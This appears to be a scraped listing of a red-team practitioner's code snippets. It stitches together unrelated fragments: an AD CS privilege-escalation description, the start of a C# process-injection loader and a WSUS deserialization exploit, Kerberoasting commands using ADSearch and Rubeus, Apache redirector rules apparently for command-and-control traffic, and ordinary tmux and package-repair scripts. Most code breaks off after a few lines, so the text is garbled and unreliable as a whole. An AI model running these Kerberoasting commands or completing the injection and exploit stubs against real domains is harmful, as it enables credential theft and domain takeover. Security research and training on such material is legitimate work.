Steve Tornio swtornio

All queries use the TrustedSec CS-Situational-Awareness BOF ldapsearch, not OpenLDAP ldapsearch. Syntax: ldapsearch <filter> [--attributes] [--count] [--scope] [--hostname] [--dn] [--ldaps]. Default scope is subtree, --dn sets the search base, --hostname targets a specific DC.

Domains

Generic	Role
megacorp.com	Local domain
foreign.com	Foreign domain

Machines

Certighost (CVE-2026-54121)

Authors: @h0j3n, @aniqfakhrul
Date: July 24, 2026

Certighost is an Active Directory Certificate Services (AD CS) vulnerability that allowed a low-privileged domain user to impersonate a Domain Controller and achieve domain compromise in the tested AD CS configuration. The issue was addressed in the July 2026 security updates.

The vulnerable path is an AD CS enrollment fallback known as a chase during directory-object resolution. By supplying request attributes such as cdc, an attacker could cause the Certification Authority (CA) to ask an attacker-controlled host for identity data belonging to a Domain Controller. The CA then used that data while issuing a certificate.

	using System;
	using System.Diagnostics;
	using System.IO;
	using System.Runtime.InteropServices;

	namespace DinjectorWithQUserAPC
	{


	public class Program

	set -g history-limit 9999999
	set -g mouse on
	unbind -n MouseDrag1Pane
	set-window-option -g mode-keys vi
	set -g base-index 0 # Start window numbers at 0

	# Log all panes by default to $HOME/tmux_logs
	run-shell -b 'if [ ! -d "$HOME/tmux_logs" ];then mkdir $HOME/tmux_logs; fi'
	# Prefix + c: Enable logging by default when a new window is created
	bind c new-window\; pipe-pane -o 'bash -c "while IFS= read -r line; do echo \"\$(date +%%Y%%m%%dT%%H%%M%%SZ%%z): \$line\"; done" >>$HOME/tmux_logs/"'%Y-%m-%d-%H:%M:%S'-win#I-pane#P-#W-#S-tmux.log"'

	#!/bin/sh
	# This script based on linux-vm-tools for Ubuntu 22.02.
	# Thanks to https://github.com/Hinara/linux-vm-tools/ to script

	# This script is for Ubuntu 22.04 Jammy Jellyfish to download and install XRDP+XORGXRDP via
	# source.
	#
	# Major thanks to: http://c-nergy.be/blog/?p=11336 for the tips.
	#

	# Red Team Checklist

	## Kerberoasting

	Find SPNS (can also be found from ADExplorer snapshot)
	`C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=user)(servicePrincipalName=*))" --attributes cn,servicePrincipalName,samAccountName`

	Roast individually
	`C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe kerberoast /user:sqlsvc /nowrap`

	# 1. Move the dpkg info directory out of the way
	sudo mv /var/lib/dpkg/info /var/lib/dpkg/info_silent

	# 2. Recreate an empty info directory so dpkg won’t error out on missing files
	sudo mkdir /var/lib/dpkg/info

	# 3. Refresh and fix any half-installed packages
	sudo apt-get update
	sudo apt-get -f install

	using System;
	using System.IO;
	using System.Security.Cryptography;
	using System.Runtime.Serialization.Formatters.Binary;

	namespace hawktracewsus
	{
	class Program
	{
	static void Main()

	#
	# TO-DO: set \|DESTINATIONURL\| below to be whatever you want e.g. www.google.com. Do not include "http(s)://" as a prefix. All matching requests will be sent to that url. Thanks @Meatballs__!
	#
	# Note this version requires Apache 2.4+
	#
	# Save this file into something like /etc/apache2/redirect.rules.
	# Then in your site's apache conf file (in /etc/apache2/sites-avaiable/), put this statement somewhere near the bottom
	#
	# Include /etc/apache2/redirect.rules
	#